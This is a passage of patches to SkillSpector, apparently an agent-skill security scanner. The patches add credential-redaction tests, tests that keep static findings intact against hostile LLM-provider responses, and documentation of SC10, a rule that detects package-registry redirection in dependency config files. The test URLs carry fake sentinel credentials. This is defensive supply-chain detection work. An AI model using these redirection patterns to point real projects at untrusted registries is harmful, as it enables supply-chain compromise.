dict[str, object], original: Finding) -> None: assert preserved.confidence >= original.confidence +def _authoritative_projection(finding: Finding, *, confidence_floor: float) -> dict[str, object]: + """Normalize only deterministic fields that a provider can never change.""" + return { + "finding_id": finding.finding_id, + "rule_id": finding.rule_id, + "severity": finding.severity, + "confidence_floor_preserved": finding.confidence >= confidence_floor, + "category": finding.category, + "file": finding.file, + "start_line": finding.start_line, + "end_line": finding.end_line, + "matched_text": finding.matched_text, + "evidence": finding.evidence, + } + + +class _PromptBoundaryAnalyzer(LLMAnalyzerBase): + """Raw-mode probe that keeps the real shared invocation boundary.""" + + response_schema = None + + def parse_response(self, response: object, batch: Batch) -> list[str]: + return [str(response)] + + +def test_provider_construction_error_is_sanitized_before_callers_can_log_it() -> None: + sentinel = "task7-provider-error-secret" + raw_url = f"https://user:{sentinel}@provider.example.invalid/private" + + with ( + patch(MOCK_PATCH_TARGET, side_effect=RuntimeError(f"provider failed at {raw_url}")), + pytest.raises(RuntimeError) as error, + ): + _PromptBoundaryAnalyzer(base_prompt="inspect", model="test/model") + + assert sentinel not in str(error.value) + assert "provider.example.invalid" in str(error.value) + + def test_documentation_framed_finding_survives_provider_outcome_matrix() -> None: original = _documentation_framed_ar2() state: SkillspectorState = { @@ -153,6 +202,155 @@ def test_documentation_framed_finding_survives_provider_outcome_matrix() -> None _assert_preserved_ar2(meta_analyzer(llm_state), original) +def test_authoritative_projection_is_invariant_under_hostile_provider_fields() -> None: + original = Finding( + rule_id="SC10", + message="deterministic dependency source replacement", + finding_id="task7-authoritative-finding", + severity="HIGH", + confidence=0.91, + file="pip.conf", + start_line=3, + end_line=3, + category="supply_chain", + matched_text="index-url = redacted destination", + evidence={"surface": "pip.conf", "operation": "replace", "scope": "global"}, + ) + batch = Batch(file_path=original.file, content="safe provider copy", findings=[original]) + expected = _authoritative_projection(original, confidence_floor=original.confidence) + outcomes = ( + [], + [ + { + "pattern_id": "SC10", + "is_vulnerability": False, + "confidence": 0.0, + "start_line": 3, + "_file": "pip.conf", + "severity": "LOW", + "category": "benign", + "file": "other.conf", + "matched_text": "rewritten", + "evidence": {}, + } + ], + [ + { + "pattern_id": "SC10", + "is_vulnerability": True, + "confidence": 0.99, + "start_line": 3, + "_file": "pip.conf", + "explanation": "useful provider presentation context", + "remediation": "use the canonical registry", + "finding_id": "hostile-rewrite", + "severity": "LOW", + "evidence": {"surface": "hostile"}, + } + ], + [ + { + "pattern_id": "HOSTILE", + "is_vulnerability": True, + "confidence": 1.0, + "start_line": 3, + "_file": "pip.conf", + } + ], + ) + + for provider_items in outcomes: + [result] = _analyzer().apply_filter([original], [(batch, provider_items)]) + assert _authoritative_projection(result, confidence_floor=original.confidence) == expected + + +@patch(MOCK_PATCH_TARGET, _mock_get_chat_model) +def test_sync_provider_prompt_is_redacted_immediately_before_invocation() -> None: + sentinel = "task7-sync-prompt-secret" + analyzer = _PromptBoundaryAnalyzer(base_prompt="inspect", model="test/model") + batch = Batch( + file_path="pip.conf", + content=f"index-url = https://user:{sentinel}@packages.example.invalid/private", + ) + submitted: list[str] = [] + + def capture(_llm: object, prompt: str, _collector: object) -> AIMessage: + submitted.append(prompt) + return AIMessage(content="ok") + + with patch("skillspector.llm_analyzer_base._invoke_with_usage", side_effect=capture): + outcome = analyzer.run_batches_detailed([batch]) + + assert len(outcome.successful) == 1 + assert len(submitted) == 1 + assert sentinel not in submitted[0] + assert "packages.example.invalid" in submitted[0] + + +@patch(MOCK_PATCH_TARGET, _mock_get_chat_model) +def test_sync_incomplete_prompt_redaction_makes_zero_calls_and_zero_retries() -> None: + sentinel = "task7-sync-incomplete-secret" + analyzer = _PromptBoundaryAnalyzer(base_prompt="inspect", model="test/model") + candidates = " ".join( + f"https://user:{sentinel}@host{index}.example.invalid/private" for index in range(1_025) + ) + batch = Batch(file_path="pip.conf", content=candidates) + + with patch("skillspector.llm_analyzer_base._invoke_with_usage") as invoke: + outcome = analyzer.run_batches_detailed([batch]) + + invoke.assert_not_called() + assert outcome.successful == [] + assert len(outcome.failures) == 1 + assert outcome.failures[0].error_class == "PromptRedactionIncomplete" + assert outcome.failures[0].reason is LedgerReason.LLM_BATCH_FAILED + + +@patch(MOCK_PATCH_TARGET, _mock_get_chat_model) +def test_async_incomplete_prompt_redaction_makes_zero_calls_and_zero_retries() -> None: + sentinel = "task7-async-incomplete-secret" + analyzer = _PromptBoundaryAnalyzer(base_prompt="inspect", model="test/model") + candidates = " ".join( + f"https://user:{sentinel}@host{index}.example.invalid/private" for index in range(1_025) + ) + batch = Batch(file_path="pip.conf", content=candidates) + + with patch( + "skillspector.llm_analyzer_base._ainvoke_with_usage", new_callable=AsyncMock + ) as invoke: + outcome = run_async(analyzer.arun_batches_detailed([batch], max_concurrency=1)) + + invoke.assert_not_awaited() + assert outcome.successful == [] + assert len(outcome.failures) == 1 + assert outcome.failures[0].error_class == "PromptRedactionIncomplete" + assert outcome.failures[0].reason is LedgerReason.LLM_BATCH_FAILED + + +@patch(MOCK_PATCH_TARGET, _mock_get_chat_model) +def test_prompt_redaction_failure_never_persists_or_logs_prompt_content(caplog) -> None: + sentinel = "task7-prompt-log-secret" + finding = Finding(rule_id="SC10", message="static", file="pip.conf", start_line=1) + repeated_metadata = " ".join( + f"https://user:{sentinel}@host{index}.example.invalid/private" for index in range(1_025) + ) + state: SkillspectorState = { + "findings": [finding], + "use_llm": True, + "llm_file_cache": {"pip.conf": "safe provider artifact"}, + "manifest": {"description": repeated_metadata}, + "model_config": {"meta_analyzer": "test/model"}, + } + + with caplog.at_level(logging.DEBUG): + result = meta_analyzer(state) + + assert result["llm_call_log"] == [{"node": "meta_analyzer", "ok": False, "error": None}] + assert sentinel not in caplog.text + assert sentinel not in str(result["llm_call_log"]) + assert sentinel not in str(result["inspection_ledger"]) + + def test_confirmed_finding_kept_when_model_returns_end_line() -> None: """Regression: a static finding with end_line=None must still match a confirmation whose end_line is populated (e.g. end_line == start_line, as @@ -908,3 +1106,28 @@ def test_no_findings_records_nothing() -> None: result = meta_analyzer(_degr_state(findings=[])) assert "llm_call_log" not in result assert "filtered_findings" not in result + + +def test_no_findings_projects_incomplete_visible_artifact_as_failed_meta_work() -> None: + """An omitted provider artifact remains failed planned work even without findings.""" + result = meta_analyzer( + _degr_state( + findings=[], + llm_file_cache={}, + llm_redaction_incomplete_paths=["pip.conf"], + ) + ) + + assert result["findings"] == [] + assert result["effective_finding_ids"] == [] + assert result["llm_call_log"] == [{"node": "meta_analyzer", "ok": False, "error": None}] + assert len(result["inspection_ledger"]) == 1 + event = result["inspection_ledger"][0] + assert event["path"] == "pip.conf" + assert event["outcome"] == LedgerOutcome.FAILED + assert event["reason_code"] == LedgerReason.LLM_BATCH_FAILED + assert event["input_finding_ids"] == [] + assert event["emitted_finding_ids"] == [] + [status] = result["analyzer_status_events"] + assert status["status"] == "failed" + assert [work["path"] for work in status["planned_work"]] == ["pip.conf"] diff --git a/tests/nodes/test_report.py b/tests/nodes/test_report.py index 410292db..a05d6e18 100644 --- a/tests/nodes/test_report.py +++ b/tests/nodes/test_report.py @@ -761,7 +761,7 @@ def test_report_default_output_format_is_sarif(self) -> None: def test_report_surfaces_transitive_provenance(self) -> None: finding = _finding("T1", "HIGH", "child issue", file="dep.py") - finding.source_url = "https://github.com/org/dep" + finding.source_url = "https://user:task7-source-secret@github.com/org/dep" finding.transitive_depth = 2 state: SkillspectorState = { "filtered_findings": [finding], @@ -772,18 +772,20 @@ def test_report_surfaces_transitive_provenance(self) -> None: } markdown = report(state)["report_body"] - assert "https://github.com/org/dep" in markdown + assert "task7-source-secret" not in markdown + assert "https://github.com/REDACTED_PATH" in markdown assert "Transitive depth:** 2" in markdown state["output_format"] = "sarif" sarif = report(state)["sarif_report"] properties = sarif["runs"][0]["results"][0]["properties"] - assert properties["sourceUrl"] == "https://github.com/org/dep" + assert properties["sourceUrl"] == "https://github.com/REDACTED_PATH" assert properties["transitiveDepth"] == 2 state["output_format"] = "terminal" terminal = report(state)["report_body"] - assert "https://github.com/org/dep" in terminal + assert "task7-source-secret" not in terminal + assert "https://github.com/REDACTED_PATH" in terminal def test_report_keeps_same_path_from_distinct_immutable_sources(self) -> None: shared_url = "https://github.com/org/shared" diff --git a/tests/nodes/test_report_sanitizer.py b/tests/nodes/test_report_sanitizer.py index 0f2b5ba1..e7ceeaba 100644 --- a/tests/nodes/test_report_sanitizer.py +++ b/tests/nodes/test_report_sanitizer.py @@ -17,11 +17,15 @@ from __future__ import annotations +import json + import pytest from skillspector.models import Finding from skillspector.nodes.report import _clean_text, _sanitize_finding, report +from skillspector.sarif_models import validate_sarif_report from skillspector.state import SkillspectorState +from skillspector.suppression import Baseline, SuppressionRule def _dirty_finding() -> Finding: @@ -74,3 +78,135 @@ def test_report_emits_clean_utf8_for_all_formats(fmt: str) -> None: assert "\x1b" not in body, f"ESC leaked into {fmt}" # The readable content survives the sanitization. assert "leak" in body and "here" in body + + +def _credential_bearing_finding(sentinel: str) -> Finding: + raw_url = f"https://user:{sentinel}@packages.example.invalid/private?token={sentinel}" + return Finding( + rule_id="SC10", + message=f"Dependency source points to {raw_url}", + severity="HIGH", + confidence=0.95, + file="pip.conf", + start_line=2, + end_line=2, + category="supply_chain", + finding=f"index-url = {raw_url}", + explanation=f"The configured source is {raw_url}", + remediation=f"Replace {raw_url}", + context=f"index-url = {raw_url}", + matched_text=f"index-url = {raw_url}", + source_url=raw_url, + evidence={ + "destination": raw_url, + "nested_untrusted": {"credential": raw_url}, + "history": [raw_url, {"credential": raw_url}], + }, + occurrences=[ + { + "file": "pip.conf", + "start_line": 2, + "end_line": 2, + "source_url": raw_url, + "untrusted": {"credential": raw_url}, + } + ], + ) + + +@pytest.mark.parametrize("fmt", ["terminal", "json", "markdown", "sarif"]) +def test_report_redacts_credentials_across_every_public_artifact(fmt: str) -> None: + sentinel = "task7-public-output-secret" + raw_url = f"https://user:{sentinel}@packages.example.invalid/private?token={sentinel}" + finding = _credential_bearing_finding(sentinel) + state: SkillspectorState = { + "findings": [finding], + "component_metadata": [ + { + "path": "pip.conf", + "type": "text", + "lines": 2, + "executable": False, + "size_bytes": 100, + "source_url": raw_url, + "untrusted": {"credential": raw_url}, + } + ], + "has_executable_scripts": False, + "manifest": {"name": f"source {raw_url}"}, + "skill_path": raw_url, + "output_format": fmt, + "use_llm": True, + "llm_call_log": [ + {"node": "meta_analyzer", "ok": False, "error": f"provider failed at {raw_url}"} + ], + "analysis_completeness": { + "is_complete": False, + "status": "partial", + "execution_successful": True, + "ledger_exceptions": [ + { + "path": "pip.conf", + "message": f"redaction failed at {raw_url}", + "fatal": False, + } + ], + "limitations": [f"provider failure at {raw_url}"], + }, + } + + result = report(state) + body = result["report_body"] + + assert sentinel not in body + assert sentinel not in json.dumps(result["sarif_report"], sort_keys=True) + assert sentinel not in str(result["filtered_findings"]) + assert finding.message.endswith(raw_url), "report sanitization must not mutate canonical state" + if fmt == "json": + payload = json.loads(body) + evidence = payload["issues"][0]["evidence"] + assert isinstance(evidence, dict) + assert isinstance(evidence["nested_untrusted"], dict) + assert isinstance(evidence["history"], list) + assert isinstance(evidence["history"][1], dict) + if fmt == "sarif": + payload = json.loads(body) + validate_sarif_report(payload) + evidence = payload["runs"][0]["results"][0]["properties"]["evidence"] + assert isinstance(evidence, dict) + assert isinstance(evidence["nested_untrusted"], dict) + + +def test_report_baseline_score_and_recommendation_use_canonical_pre_redaction_finding() -> None: + sentinel = "task7-baseline-secret" + finding = _credential_bearing_finding(sentinel) + finding.source_url = None + baseline = Baseline( + rules=[ + SuppressionRule( + rule_id="SC10", + message=f"*{sentinel}*", + reason="accepted deterministic finding", + ) + ] + ) + state: SkillspectorState = { + "findings": [finding], + "file_cache": {"pip.conf": finding.matched_text or ""}, + "component_metadata": [], + "has_executable_scripts": False, + "manifest": {}, + "skill_path": None, + "output_format": "json", + "baseline": baseline, + } + + result = report(state) + + assert result["risk_score"] == 0 + assert result["risk_severity"] == "LOW" + assert result["risk_recommendation"] == "SAFE" + assert result["filtered_findings"] == [] + assert len(result["suppressed_findings"]) == 1 + assert sentinel not in result["report_body"] + assert finding.message.endswith(sentinel) diff --git a/tests/nodes/test_sc10_outputs.py b/tests/nodes/test_sc10_outputs.py index 0e7555c9..18743a6d 100644 --- a/tests/nodes/test_sc10_outputs.py +++ b/tests/nodes/test_sc10_outputs.py @@ -6,14 +6,12 @@ from __future__ import annotations import json -import os from pathlib import Path import pytest from skillspector.graph import graph -_ENFORCE_GAPS = os.getenv("SKILLSPECTOR_SC10_GAPS") == "enforce" _SKILL = "---\nname: helper\ndescription: Formats ordinary text.\n---\n# Helper\nFormats text.\n" _SENTINELS = ("alice", "supersecret", "querysecret", "fragmentsecret") _NONCANONICAL_NPMRC = ( @@ -28,32 +26,36 @@ "surface": ".npmrc", "operation": "replace", "scope": "global", - "destination": "https://REDACTED@packages.example.invalid/private?token=REDACTED&channel=stable", + "destination": "https://packages.example.invalid/REDACTED_PATH", "destination_status": "resolved", "path": ".npmrc", - "line": 1, + "start_line": 1, + "end_line": 1, + "confidence": 1.0, + "category": "supply-chain", + "matched_text": "https://packages.example.invalid/REDACTED_PATH", + "evidence": { + "ecosystem": "npm", + "surface": ".npmrc", + "operation": "replace", + "scope": "global", + "destination": "https://packages.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + }, } -def _gap_marks(reason: str) -> list[pytest.MarkDecorator]: - if _ENFORCE_GAPS: - return [] - return [pytest.mark.xfail(strict=True, reason=reason)] - - _DIRECT_CONFIGURATION_CASES = [ pytest.param( _NONCANONICAL_NPMRC, _EXPECTED_SC10, id="credential-bearing-noncanonical-npmrc", - marks=_gap_marks("direct configuration SC10 findings are not implemented"), ) ] _CANONICAL_DEFAULT_CASES = [ pytest.param( _CANONICAL_NPMRC, id="canonical-npm-default", - marks=_gap_marks("no real dependency-source analyzer is active yet"), ) ] @@ -87,7 +89,12 @@ def _normalized_sc10(result: dict[str, object]) -> list[dict[str, object]]: "destination": evidence["destination"], "destination_status": evidence["destination_status"], "path": finding.file, - "line": finding.start_line, + "start_line": finding.start_line, + "end_line": finding.end_line, + "confidence": finding.confidence, + "category": finding.category, + "matched_text": finding.matched_text, + "evidence": evidence, } ) return normalized @@ -132,7 +139,7 @@ def test_noncanonical_npmrc_has_one_redacted_sc10_across_public_outputs( if output_format == "terminal": assert "REDACTED" in serialized assert "packages.example.invalid" in serialized - assert "/private" in serialized + assert "REDACTED_PATH" in serialized elif output_format == "markdown": assert expected["destination"] in serialized @@ -161,8 +168,8 @@ def test_canonical_npm_registry_is_safe_without_sc10(tmp_path: Path, npmrc: str) planned_work = analyzer_status["planned_work"] assert len(planned_work) == 1 assert planned_work[0]["path"] == ".npmrc" - assert planned_work[0]["start_line"] is None - assert planned_work[0]["end_line"] is None + assert planned_work[0]["start_line"] == 1 + assert planned_work[0]["end_line"] == 2 completed_npmrc_events = [ event for event in result["inspection_ledger"] diff --git a/tests/unit/test_cli.py b/tests/unit/test_cli.py index bbb62c6e..578b6ee0 100644 --- a/tests/unit/test_cli.py +++ b/tests/unit/test_cli.py @@ -1728,7 +1728,7 @@ def fake_run_graph_scan( assert len(issues) == 2 transitive_issue = next(issue for issue in issues if issue.get("source_url") is not None) assert transitive_issue["transitive_depth"] == 1 - assert transitive_issue["source_url"] == "https://github.com/org/transitive" + assert transitive_issue["source_url"] == "https://github.com/REDACTED_PATH" def test_scan_transitive_ignores_non_scannable_urls(tmp_path: Path, monkeypatch) -> None: @@ -1824,7 +1824,7 @@ def fake_run_graph_scan( assert calls[1] == "https://github.com/allowed/dep" data = json.loads(result.output) assert any( - issue.get("source_url") == "https://github.com/allowed/dep" for issue in data["issues"] + issue.get("source_url") == "https://github.com/REDACTED_PATH" for issue in data["issues"] ) @@ -2608,7 +2608,7 @@ def fake_run_graph_scan( assert body["analysis_completeness"]["is_complete"] is False assert body["metadata"]["transitive_truncated"] is True assert any( - "transitive child scan failed for https://github.com/org/broken" in limitation + "transitive child scan failed for https://github.com/REDACTED_PATH" in limitation for limitation in body["analysis_completeness"]["limitations"] ) assert "secret token should stay private" not in merged["transitive_truncation_reasons"][0] @@ -2680,7 +2680,10 @@ def fake_run_graph_scan( body = json.loads(merged["report_body"]) assert body["analysis_completeness"]["coverage_percent"] == 100.0 assert len(body["components"]) == 2 - assert {component["source_url"] for component in body["components"]} == {None, shared_dep} + assert {component["source_url"] for component in body["components"]} == { + None, + "https://github.com/REDACTED_PATH", + } def test_scan_transitive_source_scopes_identical_child_work_and_evidence(monkeypatch) -> None: From 9fca98b8084e92c5bf79d4e58fcf987ab3590c47 Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Mon, 24 Aug 2026 12:41:30 -0700 Subject: [PATCH 26/30] fix(sc10): bound report evidence redaction Signed-off-by: Nir Paz --- src/skillspector/nodes/report.py | 70 ++++++++++++++++++++++--- tests/nodes/test_meta_analyzer.py | 77 ++++++++++++++++++++++++---- tests/nodes/test_report_sanitizer.py | 74 ++++++++++++++++++++++++-- 3 files changed, 202 insertions(+), 19 deletions(-) diff --git a/src/skillspector/nodes/report.py b/src/skillspector/nodes/report.py index 54bdc7b7..fd49c108 100644 --- a/src/skillspector/nodes/report.py +++ b/src/skillspector/nodes/report.py @@ -153,14 +153,72 @@ def _sanitize_arbitrary_value(value: object) -> object: return REDACTED_VALUE +_EVIDENCE_STRING_FIELDS = frozenset( + { + "actual_behavior_summary", + "code_path", + "concealment", + "container_type", + "destination", + "destination_status", + "ecosystem", + "nested_path", + "operation", + "outer_path", + "scope", + "surface", + } +) +_EVIDENCE_STRING_LIST_FIELDS = frozenset({"concealment_reasons", "container_ancestry"}) +_EVIDENCE_INTEGER_FIELDS = frozenset({"code_end_line", "code_start_line", "container_depth"}) +_EVIDENCE_BOOLEAN_FIELDS = frozenset({"local_only"}) +_EVIDENCE_FIELDS = ( + _EVIDENCE_STRING_FIELDS + | _EVIDENCE_STRING_LIST_FIELDS + | _EVIDENCE_INTEGER_FIELDS + | _EVIDENCE_BOOLEAN_FIELDS +) + + def _sanitize_evidence(evidence: Mapping[str, object]) -> dict[str, object]: - """Sanitize flat evidence fields and preserve safe container types on failure.""" - sanitized: dict[str, object] = {} + """Sanitize only the fixed finding-evidence schema under one aggregate walk.""" + if type(evidence) is not dict or len(evidence) > len(_EVIDENCE_FIELDS): + return {} + if any(type(key) is not str or key not in _EVIDENCE_FIELDS for key in evidence): + return {} + + fixed: dict[str, object] = {} for key, value in evidence.items(): - safe_key = _sanitize_text(str(key)) or "" - if safe_key: - sanitized[safe_key] = _sanitize_arbitrary_value(value) - return sanitized + if key in _EVIDENCE_STRING_FIELDS: + fixed[key] = _clean_text(value) if type(value) is str else REDACTED_VALUE + elif key in _EVIDENCE_STRING_LIST_FIELDS: + fixed[key] = value if isinstance(value, (list, tuple)) else [] + elif key in _EVIDENCE_INTEGER_FIELDS: + if value is not None and type(value) is not int: + return {} + fixed[key] = value + elif key in _EVIDENCE_BOOLEAN_FIELDS: + if type(value) is not bool: + return {} + fixed[key] = value + + redacted = redact_value(CodeOwnedMapping(cast(Mapping[object, object], fixed))) + if not isinstance(redacted, CodeOwnedMapping): + return {} + unwrapped = _unwrap_code_owned(redacted) + if not isinstance(unwrapped, dict): + return {} + + for key in _EVIDENCE_STRING_FIELDS & unwrapped.keys(): + if not isinstance(unwrapped[key], str): + unwrapped[key] = REDACTED_VALUE + for key in _EVIDENCE_STRING_LIST_FIELDS & unwrapped.keys(): + value = unwrapped[key] + if not isinstance(value, list) or not all(type(item) is str for item in value): + unwrapped[key] = [] + else: + unwrapped[key] = [_clean_text(item) or "" for item in value] + return unwrapped _OCCURRENCE_FIELDS = frozenset( diff --git a/tests/nodes/test_meta_analyzer.py b/tests/nodes/test_meta_analyzer.py index 54e6242c..c211b10b 100644 --- a/tests/nodes/test_meta_analyzer.py +++ b/tests/nodes/test_meta_analyzer.py @@ -202,7 +202,7 @@ def test_documentation_framed_finding_survives_provider_outcome_matrix() -> None _assert_preserved_ar2(meta_analyzer(llm_state), original) -def test_authoritative_projection_is_invariant_under_hostile_provider_fields() -> None: +def test_authoritative_projection_is_invariant_across_every_provider_outcome() -> None: original = Finding( rule_id="SC10", message="deterministic dependency source replacement", @@ -218,9 +218,53 @@ def test_authoritative_projection_is_invariant_under_hostile_provider_fields() - ) batch = Batch(file_path=original.file, content="safe provider copy", findings=[original]) expected = _authoritative_projection(original, confidence_floor=original.confidence) - outcomes = ( - [], - [ + state: SkillspectorState = { + "findings": [original], + "use_llm": False, + "file_cache": {original.file: "safe canonical content"}, + "llm_file_cache": {original.file: "safe provider copy"}, + "manifest": {}, + "model_config": {}, + } + projected: dict[str, Finding] = {} + + disabled_result = meta_analyzer(state) + [projected["disabled"]] = disabled_result["findings"] + + failed_state = dict(state) + failed_state["use_llm"] = True + with patch("skillspector.nodes.meta_analyzer.LLMMetaAnalyzer") as mock_cls: + mock_cls.return_value.get_batches.return_value = [batch] + mock_cls.return_value.arun_batches = AsyncMock(side_effect=TimeoutError("provider timeout")) + mock_cls.return_value.response_received = False + mock_cls.return_value.inference_usage = [] + failed_result = meta_analyzer(failed_state) + [projected["failed"]] = failed_result["findings"] + + provider_outcomes: dict[str, list[dict[str, object]]] = { + "empty": [], + "confirming": [ + { + "pattern_id": "SC10", + "is_vulnerability": True, + "confidence": 0.99, + "start_line": 3, + "_file": "pip.conf", + "explanation": "useful provider presentation context", + "remediation": "use the canonical registry", + } + ], + "downgrading": [ + { + "pattern_id": "SC10", + "is_vulnerability": True, + "confidence": 0.0, + "start_line": 3, + "_file": "pip.conf", + "severity": "LOW", + } + ], + "suppressing": [ { "pattern_id": "SC10", "is_vulnerability": False, @@ -234,7 +278,7 @@ def test_authoritative_projection_is_invariant_under_hostile_provider_fields() - "evidence": {}, } ], - [ + "rewriting": [ { "pattern_id": "SC10", "is_vulnerability": True, @@ -248,7 +292,7 @@ def test_authoritative_projection_is_invariant_under_hostile_provider_fields() - "evidence": {"surface": "hostile"}, } ], - [ + "hostile": [ { "pattern_id": "HOSTILE", "is_vulnerability": True, @@ -257,11 +301,26 @@ def test_authoritative_projection_is_invariant_under_hostile_provider_fields() - "_file": "pip.conf", } ], - ) + } - for provider_items in outcomes: + for outcome, provider_items in provider_outcomes.items(): [result] = _analyzer().apply_filter([original], [(batch, provider_items)]) - assert _authoritative_projection(result, confidence_floor=original.confidence) == expected + projected[outcome] = result + + assert set(projected) == { + "disabled", + "failed", + "empty", + "confirming", + "downgrading", + "suppressing", + "rewriting", + "hostile", + } + for outcome, result in projected.items(): + assert ( + _authoritative_projection(result, confidence_floor=original.confidence) == expected + ), outcome @patch(MOCK_PATCH_TARGET, _mock_get_chat_model) diff --git a/tests/nodes/test_report_sanitizer.py b/tests/nodes/test_report_sanitizer.py index e7ceeaba..106875a9 100644 --- a/tests/nodes/test_report_sanitizer.py +++ b/tests/nodes/test_report_sanitizer.py @@ -26,6 +26,7 @@ from skillspector.sarif_models import validate_sarif_report from skillspector.state import SkillspectorState from skillspector.suppression import Baseline, SuppressionRule +from skillspector.url_redaction import MAX_REDACTION_NODES def _dirty_finding() -> Finding: @@ -166,15 +167,80 @@ def test_report_redacts_credentials_across_every_public_artifact(fmt: str) -> No payload = json.loads(body) evidence = payload["issues"][0]["evidence"] assert isinstance(evidence, dict) - assert isinstance(evidence["nested_untrusted"], dict) - assert isinstance(evidence["history"], list) - assert isinstance(evidence["history"][1], dict) + assert evidence == {} if fmt == "sarif": payload = json.loads(body) validate_sarif_report(payload) evidence = payload["runs"][0]["results"][0]["properties"]["evidence"] assert isinstance(evidence, dict) - assert isinstance(evidence["nested_untrusted"], dict) + assert evidence == {} + + +def test_report_evidence_with_arbitrary_top_level_key_fails_closed() -> None: + sentinel = "task7-arbitrary-evidence-secret" + raw_url = f"https://user:{sentinel}@packages.example.invalid/private" + finding = Finding( + rule_id="SC10", + message="dependency source replacement", + evidence={"destination": raw_url, "attacker_key": raw_url}, + ) + + sanitized = _sanitize_finding(finding) + + assert sanitized.evidence == {} + assert sentinel not in str(sanitized.evidence) + + +def test_report_evidence_depth_exhaustion_fails_closed() -> None: + nested: object = "nested" + for _ in range(32): + nested = [nested] + finding = Finding( + rule_id="SC9", + message="concealed artifact", + evidence={"concealment_reasons": nested}, + ) + + sanitized = _sanitize_finding(finding) + + assert sanitized.evidence == {} + + +def test_report_evidence_node_exhaustion_fails_closed() -> None: + finding = Finding( + rule_id="SC9", + message="concealed artifact", + evidence={"concealment_reasons": ["ordinary"] * MAX_REDACTION_NODES}, + ) + + sanitized = _sanitize_finding(finding) + + assert sanitized.evidence == {} + + +def test_report_known_evidence_schema_preserves_list_and_string_types() -> None: + sentinel = "task7-known-evidence-secret" + raw_url = f"https://user:{sentinel}@packages.example.invalid/private" + finding = Finding( + rule_id="SC9", + message="concealed dependency source", + evidence={ + "destination": raw_url, + "concealment_reasons": [raw_url], + "container_depth": 2, + "local_only": True, + }, + ) + + sanitized = _sanitize_finding(finding) + + assert type(sanitized.evidence) is dict + assert isinstance(sanitized.evidence["destination"], str) + assert isinstance(sanitized.evidence["concealment_reasons"], list) + assert all(isinstance(item, str) for item in sanitized.evidence["concealment_reasons"]) + assert sanitized.evidence["container_depth"] == 2 + assert sanitized.evidence["local_only"] is True + assert sentinel not in str(sanitized.evidence) def test_report_baseline_score_and_recommendation_use_canonical_pre_redaction_finding() -> None: From f7be0c66693331c3eeef9a4473dc8cb27a7c51d7 Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Mon, 24 Aug 2026 12:53:44 -0700 Subject: [PATCH 27/30] docs(sc10): document direct config coverage Signed-off-by: Nir Paz --- CHANGELOG.md | 1 + README.md | 1 + docs/DEPENDENCY_SOURCE_REDIRECTION.md | 78 +++++++++++++++++++++++++++ 3 files changed, 80 insertions(+) create mode 100644 docs/DEPENDENCY_SOURCE_REDIRECTION.md diff --git a/CHANGELOG.md b/CHANGELOG.md index c6a8c31e..595b94f5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,7 @@ ### Features/Bug Fixes * Inspect hidden and nested ZIP-compatible artifacts under cumulative safety bounds. * Report HIGH SC9 findings for executables concealed in documents or hidden/disguised artifacts. +* Report HIGH SC10 findings for direct dependency-source configuration and disclose recognized executable surfaces as incomplete. --- ### 2.9.6 (Tuesday, August 18, 2026) ### Features/Bug Fixes diff --git a/README.md b/README.md index ed0c9d3f..c857eeb8 100644 --- a/README.md +++ b/README.md @@ -19,6 +19,7 @@ SkillSpector is part of the [NVIDIA Verified Skills pipeline](https://docs.nvidi - **[Scan agent skills before installation](https://docs.nvidia.com/skills/scanning-agent-skills)** — Hosted guide: when to scan, how to read a report, and how to gate installs. - **[Development guide](docs/DEVELOPMENT.md)** — Architecture, package layout, and how to extend the analyzer pipeline. - **[Analysis resource bounds](docs/ANALYSIS_RESOURCE_BOUNDS.md)** — Fail-closed bundle, parser, nested-artifact, ledger, and finding ceilings. +- **[Dependency source redirection](docs/DEPENDENCY_SOURCE_REDIRECTION.md)** — SC10 direct-configuration coverage, evidence, and executable-surface limits. - **[Pi extension](docs/PI_EXTENSION.md)** — Install SkillSpector as a Pi tool for scanning skills from inside agent sessions. ## Features diff --git a/docs/DEPENDENCY_SOURCE_REDIRECTION.md b/docs/DEPENDENCY_SOURCE_REDIRECTION.md new file mode 100644 index 00000000..6366f560 --- /dev/null +++ b/docs/DEPENDENCY_SOURCE_REDIRECTION.md @@ -0,0 +1,78 @@ +# Dependency Source Redirection (SC10) + +SC10 reports a deterministic `HIGH` finding when a supported direct configuration file changes +dependency resolution away from that ecosystem's built-in canonical default. The analysis is +local, static-only, and advisory: it reports evidence for review but does not decide whether a +skill should be installed. + +## Direct configuration coverage + +SC10 inspects only the following direct configuration surfaces: + +| Ecosystem | Files | Inspected declarations | +|---|---|---| +| npm | `.npmrc`, `npmrc` | `registry` and scoped `@scope:registry` assignments | +| pip | `pip.conf`, `pip.ini` | `index-url` and `extra-index-url` assignments in configuration sections | +| Yarn | `.yarnrc`, `.yarnrc.yml`, `.yarnrc.yaml` | Yarn v1 `registry` and scoped registry entries; Yarn YAML `npmRegistryServer` and `npmScopes.*.npmRegistryServer` entries | +| Poetry | `pyproject.toml` | `[[tool.poetry.source]]` entries | +| PDM | `pyproject.toml` | `[[tool.pdm.source]]` entries | +| uv | `pyproject.toml`, `uv.toml` | `[[tool.uv.index]]` or `[[index]]` entries; a same-directory `uv.toml` takes precedence over the `pyproject.toml` uv table | +| Cargo | `.cargo/config`, `.cargo/config.toml` | `[source.*].registry`, resolvable `[source.*].replace-with` chains, and `[registries.*].index` | +| Maven | `settings.xml`, `pom.xml` | Settings mirrors and profile repositories/plugin repositories; direct project repositories/plugin repositories | + +For Maven, `distributionManagement` descendants are outside this rule's direct-source scope. +For Cargo, directory, local-registry, and Git source targets are inert unless an applicable +replacement chain resolves to a supported registry destination. + +The analyzer suppresses an unchanged canonical public default. It compares only the exact +built-in ecosystem defaults, with scheme and host case normalization and an optional trailing +slash. A port, query, fragment, or different path remains noncanonical. These fixed protocol +defaults are not a user-managed allowlist or trust list. + +## Findings and incomplete direct parses + +Each finding carries code-owned ecosystem, surface, operation, and scope values; a sanitized +destination; and the physical source range. URL credentials, queries, fragments, and non-root +paths are removed or replaced before evidence reaches a finding or public output. Supported +interpolation forms that cannot be resolved from the direct file are reported with the fixed +destination status `unresolved`; SC10 does not read environment variables or neighboring files. + +Recognized direct files are accepted only from complete, strictly decoded cached artifacts. A +missing or inconsistent cache/inventory record, malformed or ambiguous relevant syntax, +unsupported relevant structure, invalid UTF-8, truncation, or resource exhaustion produces a +localized `dependency_source_parse_incomplete` limitation instead of a clean result. + +Direct parser limits are shared across the scan where applicable: + 